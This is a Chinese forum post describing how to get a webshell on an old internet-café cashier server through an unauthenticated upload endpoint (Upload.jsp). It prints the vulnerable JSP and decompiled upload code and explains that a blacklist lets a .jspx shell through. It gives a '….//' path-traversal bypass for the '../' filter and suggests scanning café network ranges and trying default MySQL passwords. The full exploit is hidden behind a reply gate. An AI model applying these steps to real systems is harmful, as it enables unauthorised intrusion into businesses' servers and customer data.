首先这个系统比较老。看文件最后修改时间是11年的,漏洞有很多,不知道有没有前辈分享过。

注入漏洞的话限制很大,万一不是root,万一不能写shell万一路径变了呢。

虽然我测试的那个两个网吧,mysql都是装在3308端口,默认密码应该也不会改,但是万一别的地方不一样呢。

所以我就终于找到了个利用更简单更稳定的上传getshell

先要用iisputscanner什么的扫下网吧网段,找到收银服务器,收银服务器开启了80和8080.

漏洞文件 : netbar/common/Upload.jsp

<%@ page contentType="text/plain;charset=gbk"%> <%@ page import="webkiosk.netbar.common.Tools"%> <jsp:useBean id="upload" scope="page" class="mmspack.FileUpload" /> <% String uploadPath=request.getServletPath(); if(uploadPath.lastIndexOf('/')>0) uploadPath=uploadPath.substring(0,uploadPath.lastIndexOf('/')); String path=Tools.nullToString(request.getParameter("path"),true); if(path.length()>0) {         path=path.replaceAll("../","");         if(!path.startsWith(uploadPath))         {                 if(path.startsWith("/"))                         path=uploadPath+path;                 else                         path=uploadPath+"/"+path;         } } else {         path=uploadPath; } String realPath=application.getRealPath(path); if(realPath!=null && realPath.length()>0 && upload.upload(request,realPath)>0)         out.println("true"); else         out.println("false"); %>

反编译下:
mmspack.FileUpload:

public int upload(HttpServletRequest paramHttpServletRequest, String paramString)     throws IOException   {     this.paramMap.clear();     this.paramMap.putAll(paramHttpServletRequest.getParameterMap());     this.fileNames.clear();     this.charEncoding = paramHttpServletRequest.getCharacterEncoding();     if ((this.charEncoding != null) && (this.charEncoding.equalsIgnoreCase(System.getProperty("file.encoding"))))       this.charEncoding = null;     String str1 = paramHttpServletRequest.getContentType();     int i = str1 != null ? str1.indexOf("multipart/form-data; boundary=") : -1;     if (i == -1)     {       this.err = "request对象内容无效!";       return -1;     }     String str2 = "--" + str1.substring(i + "multipart/form-data; boundary=".length());     if (((this.maxSize > 0L) && (paramHttpServletRequest.getContentLength() > this.maxSize)) || (paramHttpServletRequest.getContentLength() <= 0))     {       this.err = "数据大小无效或超出允许范围!";       return -1;     }     if ((paramString == null) || (paramString.equals("")))     {       this.err = "无效目标路径!";       return -1;     }     if (File.separatorChar == '/')       paramString = paramString.replace('//', File.separatorChar);     else       paramString = paramString.replace('/', File.separatorChar);     if (!paramString.endsWith(File.separator))       paramString = paramString + File.separator;     this.realPath = paramString.substring(0, paramString.length() - 1);     ServletInputStream localServletInputStream = paramHttpServletRequest.getInputStream();     while (true)     {       String[] arrayOfString1 = getContentNames(localServletInputStream);       if (arrayOfString1 == null)         break;       for (String str3 = readLine01(localServletInputStream); (str3 != null) && (!str3.equals("")); str3 = readLine01(localServletInputStream));       if (str3 == null)         break;       if (arrayOfString1[1] == null)       {         if (this.charEncoding != null)           arrayOfString1[0] = new String(arrayOfString1[0].getBytes(), this.charEncoding);         String str4 = readParam(localServletInputStream, str2);         if (this.charEncoding != null)           str4 = new String(str4.getBytes(), this.charEncoding);         String[] arrayOfString2 = (String[])this.paramMap.get(arrayOfString1[0]);         if (arrayOfString2 == null)         {           this.paramMap.put(arrayOfString1[0], new String[] { str4 });         }         else         {           String[] arrayOfString3 = new String[arrayOfString2.length + 1];           System.arraycopy(arrayOfString2, 0, arrayOfString3, 0, arrayOfString2.length);           arrayOfString3[arrayOfString2.length] = str4;           this.paramMap.put(arrayOfString1[0], arrayOfString3);         }       }       else if (arrayOfString1[1].length() > 0)       {         for (int j = 0; j < this.forbiddenFiles.length; j++)           if (arrayOfString1[1].toLowerCase().endsWith(this.forbiddenFiles[j]))           {             this.err = "无效文件类型";             return -1;           }         File localFile = new File(paramString);         if (!localFile.exists())           localFile.mkdirs();         if (saveDataToFile(localServletInputStream, paramString + arrayOfString1[1], str2))         {           if (this.charEncoding != null)             arrayOfString1[1] = new String(arrayOfString1[1].getBytes(), this.charEncoding);           this.fileNames.add(arrayOfString1[1]);         }       }     }     return this.fileNames.size();   }

就是简单的黑名单验证上传,也不需要登陆,直接构造表单上传个jspx就可以了

exp:

管理员设置 回复 可见隐藏内容

path=….// ,过滤一个../还会剩下个../,我测试第二个网吧的时候,直接上传不了,这样子才上传成功。
